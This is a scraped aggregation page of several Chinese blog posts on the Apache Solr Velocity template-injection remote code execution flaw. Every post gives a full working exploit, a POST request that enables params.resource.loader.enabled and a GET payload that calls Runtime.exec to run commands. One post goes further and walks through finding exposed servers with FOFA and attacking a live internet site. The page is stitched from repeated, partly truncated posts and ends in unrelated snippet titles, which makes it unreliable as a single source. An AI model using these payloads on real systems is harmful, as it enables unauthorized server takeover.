精华内容
下载资源
问答
  • 2019年10月末,GitHub代码中安全研究员S00pY发布一个Apache Solr Velocity模版注入远程命令执行的POC,发现网络上出现针对Apache Solr服务器的远程代码执行漏洞。该漏洞是由于Velocity模板存在注入所致(Velocity是...

    0x01漏洞概述

    2019年10月末,GitHub代码中安全研究员S00pY发布一个Apache Solr Velocity模版注入远程命令执行的POC,发现网络上出现针对Apache Solr服务器的远程代码执行漏洞。该漏洞是由于Velocity模板存在注入所致(Velocity是一个基于Java的模板引擎,可让使用者通过模板语言引用Java中定义的对象)。攻击者在知道Solr服务器上Core名称后,先把params.resource.loader.enabled设置为true(就可加载指定资源),再进行远程执行命令。

    0x02漏洞影响

    Apache Solr 5.x到8.2.0均受影响

    0x03漏洞复现

    1、在FOFA中搜索app="Solr" 可以找到solr服务器的分布情况。

    从目前情况来看,攻击者需要先获取Solr服务中的Core名称才能执行攻击,例如某个存在权限管控不严的Solr的服务器。我们可以从LoggingCore admin栏目得知Core名称。

    在Core admin中获取

    在Logging中获取

    2、访问Core的config配置信息时,通过POST请求把params.resource.loader.enabled设置为True,再通过精心构造的get请求即可RCE,此时用户就可以加载指定资源,构造一个能执行命令的恶意请求,如下图

     

     

    POC如下:

    POST /solr/xxxx/config HTTP/1.1
    Host: ip:port
    Connection: close
    Accept: application/json, text/plain, */*
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Referer: xxxx
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Content-Length: 273
    
    {
      "update-queryresponsewriter": {
        "startup": "lazy",
        "name": "velocity",
        "class": "solr.VelocityResponseWriter",
        "template.base.dir": "",
        "solr.resource.loader.enabled": "true",
        "params.resource.loader.enabled": "true"
      }
    }

    进而构造GET请求攻击,执行whoami

     

    EXP

    GET /solr/xxxx/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
    Host: IP:PORT
    Connection: close
    Accept: application/json, text/plain, */*
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Referer: https://xxxx/
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    

    0x04漏洞修复建议

    官网暂未发布相关漏洞补丁,及时关注官网更新。

    建议使用Solr的用户设置防火墙白名单策略,只允许需要通讯IP以防止被人攻击。

    0X05参考链接

    https://nosec.org/home/detail/3113.html

    https://www.freebuf.com/column/218680.html

    展开全文
  • apache solr velocity 注入远程命令执行漏洞 (cve-2019-17558).pdf
  • 文章目录Vulhub漏洞复现Apache Solr Velocity 注入远程命令执行漏洞复现一、漏洞概述二、漏洞复现1. 复现步骤 Vulhub漏洞复现 Apache Solr Velocity 注入远程命令执行漏洞复现 一、漏洞概述 Apache Solr 在其 5.0.0 ...

    漏洞复现

    Apache Solr Velocity 注入远程命令执行漏洞复现

    一、漏洞概述

    Apache Solr 在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。

    二、漏洞复现

    1. 使用vulhub中CVE-2019-17558的环境进行搭建
      https://vulhub.org/#/environments/solr/CVE-2019-0193/
      目录:solr/CVE-2019-17558
      执行如下命令启动一个Apache Solr 8.2.0服务器:docker-compose up -d
      在这里插入图片描述

    2. 利用默认的demo
      查看到默认情况下 params.resource.loader.enabled 配置未打开,无法使用自定义模板。需要先通过如下API获取所有的核心:
      http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

    在这里插入图片描述

    1. 查看demo配置
      通过如下请求开启 params.resource.loader.enabled,其中API路径包含刚才获取的core名称:
    POST /solr/demo/config HTTP/1.1
    Host: solr:8983
    Content-Type: application/json
    Content-Length: 259
    
    {
      "update-queryresponsewriter": {
        "startup": "lazy",
        "name": "velocity",
        "class": "solr.VelocityResponseWriter",
        "template.base.dir": "",
        "solr.resource.loader.enabled": "true",
        "params.resource.loader.enabled": "true"
      }
    }
    

    在这里插入图片描述

    查看demo的配置:params.resource.loader.enabled 已经开启

    在这里插入图片描述

    1. 注入Velocity模板即可执行任意命令
    http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
    

    在这里插入图片描述

    在exec函数里可以执行任意代码:

    在这里插入图片描述

    展开全文
  • Apache Solr Velocity 注入远程命令执行漏洞 漏洞描述影响版本漏洞环境漏洞复现 漏洞描述 Solr是Apache Lucene项目的开源企业搜索平台。 其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成,以及富...

    Apache Solr Velocity 注入远程命令执行漏洞

    漏洞描述

    Solr是Apache Lucene项目的开源企业搜索平台。 其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成,以及富文本的处理。 2019年10月30日,国外安全研究人员放出了一个关于solr 模板注入的exp,攻击者通过未授权访问solr服务器,发送特定的数据包开启 params.resource.loader.enabled,然后get访问接口导致服务器命令执行。

    影响版本

    5.0.0 到 8.3.1版本

    漏洞环境

    搭建环境,服务启动后,访问http://your-ip:8983即可查看到一个无需权限的Apache Solr服务。
    在这里插入图片描述

    漏洞复现

    默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:

    http://127.0.0.1:8983/solr/admin/cores?indexInfo=false&wt=json
    在这里插入图片描述
    通过如下请求开启params.resource.loader.enabled,其中API路径包含刚才获取的core名称:
    在这里插入图片描述

    
    POST /solr/demo/config HTTP/1.1
    Host: solr:8983
    Content-Type: application/json
    Content-Length: 259
    
    {
      "update-queryresponsewriter": {
        "startup": "lazy",
        "name": "velocity",
        "class": "solr.VelocityResponseWriter",
        "template.base.dir": "",
        "solr.resource.loader.enabled": "true",
        "params.resource.loader.enabled": "true"
      }
    }
    

    之后,注入Velocity模板即可执行任意命令:

    http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
    

    在这里插入图片描述

    测试结果:
    在这里插入图片描述
    在这里插入图片描述

    使用EXP 进行漏洞利用:
    在这里插入图片描述

    展开全文
  • 0x00 前言今天在群里看到有人说GitHub上公布了一个关于solr的RCE漏洞,于是立马复现了一波!确定该poc是真实有效的。Solr是一个独立的企业级搜索应用服务器,它对外提供类似...

    0x00 前言

    今天在群里看到有人说GitHub上公布了一个关于solr的RCE漏洞,于是立马复现了一波!确定该poc是真实有效的。

    Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

    它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

    0x01 漏洞详情

    该漏洞的产生原因:

    1. 攻击者可以直接访问solr admin页面,并可以通过构造post请求来修改节点的配置.

    2. Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。

    当params.resource.loader.enabled设置为true,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个恶意的请求,在服务器上进行命令执行,从而获取服务器的权限。

    关于params.resource.loader.enabled的介绍:

    https://lucene.apache.org/solr/guide/6_6/velocity-response-writer.html

    中文版的:https://www.w3cschool.cn/solr_doc/solr_doc-umxd2h9z.html

    0x02 影响范围

    应该是影响solr5(暂不确定)到最新版本。

    0x03 环境搭建

    环境情况:

    solr版本: solr8.2.0

    操作系统:windows

    搭建步骤:

    1. 下载漏洞范围影响范围内的solr,我这里使用最新版的8.2.0 (solr启动需要java环境的支持,所以要提前安装好java)

    2. 解压下载的solr,然后进入到solr的bin目录下,执行以下命令启动solr:

    solr start -p 8983
    

    可以看到显示已经启动:

    1. 浏览器访问验证下:

    1. 创建一个core,可以在网页创建,也可以在命令行下创建.

    这里演示下在命令行创建:

    可以看到成功创建.

    网页创建core可参考:

    https://blog.csdn.net/weixin_39082031/article/details/78924909

    1. 访问验证我们的core是否创建成功:

    可以看到已经成功创建!

    0x04 漏洞复现

    本地复现:

    1. 访问solr站点:

    获取到其core名为test

    1. 访问该core的config路径,查看其配置,并搜索params.resource.loader.enabled参数:

    可以看到其默认是关闭的。

    1. 我们可以通过构造POST数据包来开启params.resource.loader.enabled

    POST数据包:

    POST /solr/test/config HTTP/1.1
    Host: 172.26.1.173:8983
    User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
    Content-Type: application/json
    Accept-Encoding: gzip, deflate
    Connection: close
    Content-Length: 259
    
    
    {
      "update-queryresponsewriter": {
        "startup": "lazy",
        "name": "velocity",
        "class": "solr.VelocityResponseWriter",
        "template.base.dir": "",
        "solr.resource.loader.enabled": "true",
        "params.resource.loader.enabled": "true"
      }
    }
    

    示例:

    可以看到响应包.说会在未来改变(也就是我们修改的配置一会会生效)

    1. 我们重新访问:

    可以看到我们构造的请求已经成功开启了params.resource.loader.enabled

    1. 利用GitHub上的payload进行命令执行:

    select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
    

    我们靶机为windows所以修改id为windows下的命令:

    互联网站点:

    找一个目标:

    1. 获取该solr的节点名:

    1. 进入到该节点的config:

    1. ctrl + f 搜索params.resource.loader.enabled 若该参数对应的值为true 即存在该漏洞!

    若对应的值为false,则可以通过发送post包来将其修改为true!

    POST数据包:

    POST /solr/获取到的节点名/config HTTP/1.1
    Host: solr:8983
    Content-Type: application/json
    Content-Length: 259
    
    
    {
      "update-queryresponsewriter": {
        "startup": "lazy",
        "name": "velocity",
        "class": "solr.VelocityResponseWriter",
        "template.base.dir": "",
        "solr.resource.loader.enabled": "true",
        "params.resource.loader.enabled": "true"
      }
    }
    

    该参数为true后,直接使用GitHub上的poc:

    select?q=1&&wt=velocity&v.template=custom&v.
    

    该参数为true后,直接使用GitHub上的poc:

    select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
    1. 直接get请求:



    0x05 漏洞修复

    1、官方还暂未发布该漏洞的相关补丁,建议用户设置solr后台为登陆认证!!!

    限制互联网用户对solr admin的访问!

    2、删除params.resource.loader.enabled的配置。

    3、时刻关注solr官方,出现新版本要赶快更新

    0x06 参考链接

    https://gist.github.com/s00py/a1ba36a3689fa13759ff910e179fc133

    https://mp.weixin.qq.com/s/RWG7nxwCMtlyPnookXlaLA

    别忘了投稿哦

    大家有好的技术原创文章

    欢迎投稿至邮箱:edu@heetian.com

    合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦

    有才能的你快来投稿吧!

    了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!

                                 

    展开全文
  • 远程命令执行漏洞的原理 远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端 没有针对执行函数做 过滤,导致在没有指定绝对路径的情况下就执行命令 复现示例 Tomcat任意文件上传漏洞CVE-2017-12615...
  • 远程命令执行漏洞(RCE, Remote Command/Code Execute) 可以让攻击者直接向后台服务器远程注入操作系统命令或代码,从而控制后台系统。 远程系统命令执行的原因: (1)应用系统从设计上需要给用户提供指定的源码...
  • SSI 服务器端包含 SSI(server-side includes)能...从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意命令。 在测试任意文件上传漏洞的时候,目标
  • 在其 5.0.0 到 8.3.1版本中,用户可以注入自定义模板,通过Velocity模板语言执行任意命令。 具体漏洞原理和POC可以参考: https://nvd.nist.gov/vuln/detail/CVE-2019-17558 ...
  • 传递通过MS-RPC提供的未过滤的用户输入在调用定义的外部脚本时调用/bin/sh,在smb.conf中,导致允许远程命令执行 实验环境 这里使用的目标机是metasploitable2 linux攻击机:192.168.43.113 linux目标机:192.168.43...
  • 2019年10月30日,国外安全研究人员放出了一个关于solr 模板注入的exp,攻击者通过未授权访问solr服务器,发送特定的数据包开启 params.resource.loader.enabled,然后get访问接口导致服务器命令执行。 影响版本 ...
  • Apache Solr远程命令执行漏洞

    千次阅读 2019-11-02 15:57:18
    Apache Solr远程命令执行漏洞(Apache Solr Velocity模板注入RCE漏洞) 漏洞危害: 远程命令执行,容易被人getshell,使自己的服务器成为别人的肉鸡… 产生原因(攻击前提): 能够直接访问solr控制台,那么...
  • SonicWall 远程命令执行漏洞

    千次阅读 2021-01-26 18:00:05
    SonicWall SSL-VPN 远程命令执行漏洞 漏洞描述 SonicWall SSL-VPN 远程命令执行在1月24日被公开 EXP,此设备存在远程命令执行漏洞 漏洞影响 SonicWall SSL-VPN FOFA app=“SONICWALL-SSL-VPN” 漏洞复现 出现...
  • 目录漏洞背景漏洞成因影响版本漏洞复现获取core名称加载指定资源远程命令执行修复建议参考链接 漏洞背景 近日,国外安全研究员s00py公开了一个Apache Solr的Velocity模板注入漏洞,可进行远程代码执行漏洞成因 ...
  • 命令执行 / 代码注入漏洞分类介绍 代码本地文件包含示例 1 命令执行 / 代码注入漏洞分类介绍 命令或代码反序列化执行漏洞概述 ? 有些动态脚本语言如 php 支持 实例对象的序列化传输 然后服务端 将实例对象反序列化...
  • RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。 1.远程系统命令执行 一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口 比如我们常见的...
  • 简单记一次Apache Solr远程命令执行复现和复现的时候踩到的坑。
  • 这个基础概念的,那么远程命令执行,或者是远程代码执行漏洞啊。RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。 远程系统命令执行 一般出现这种漏洞,是因为应用系统从...
  • 在其0.6.0版本中,存在一处命令参数注入问题,可以导致远程命令执行漏洞。 影响范围 0.6.0 复现过程 这里使用0.6.0版本 使用vulhub /app/vulhub-master/gitlist/0.6.0-rce 使用docker启动 docker-compose build ...
  • Struts2远程命令执行漏洞

    万次阅读 2017-12-20 16:09:51
    Struts2 远程命令执行漏洞
  • 本篇总结归纳命令执行漏洞(RCE)和代码执行漏洞
  • 4.2 apache SSI远程命令执行漏洞利用 5.漏洞修复 1.漏洞概述 SSI(Server Side Includes),即服务端包含。SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 12,596
精华内容 5,038
关键字:

命令注入远程执行漏洞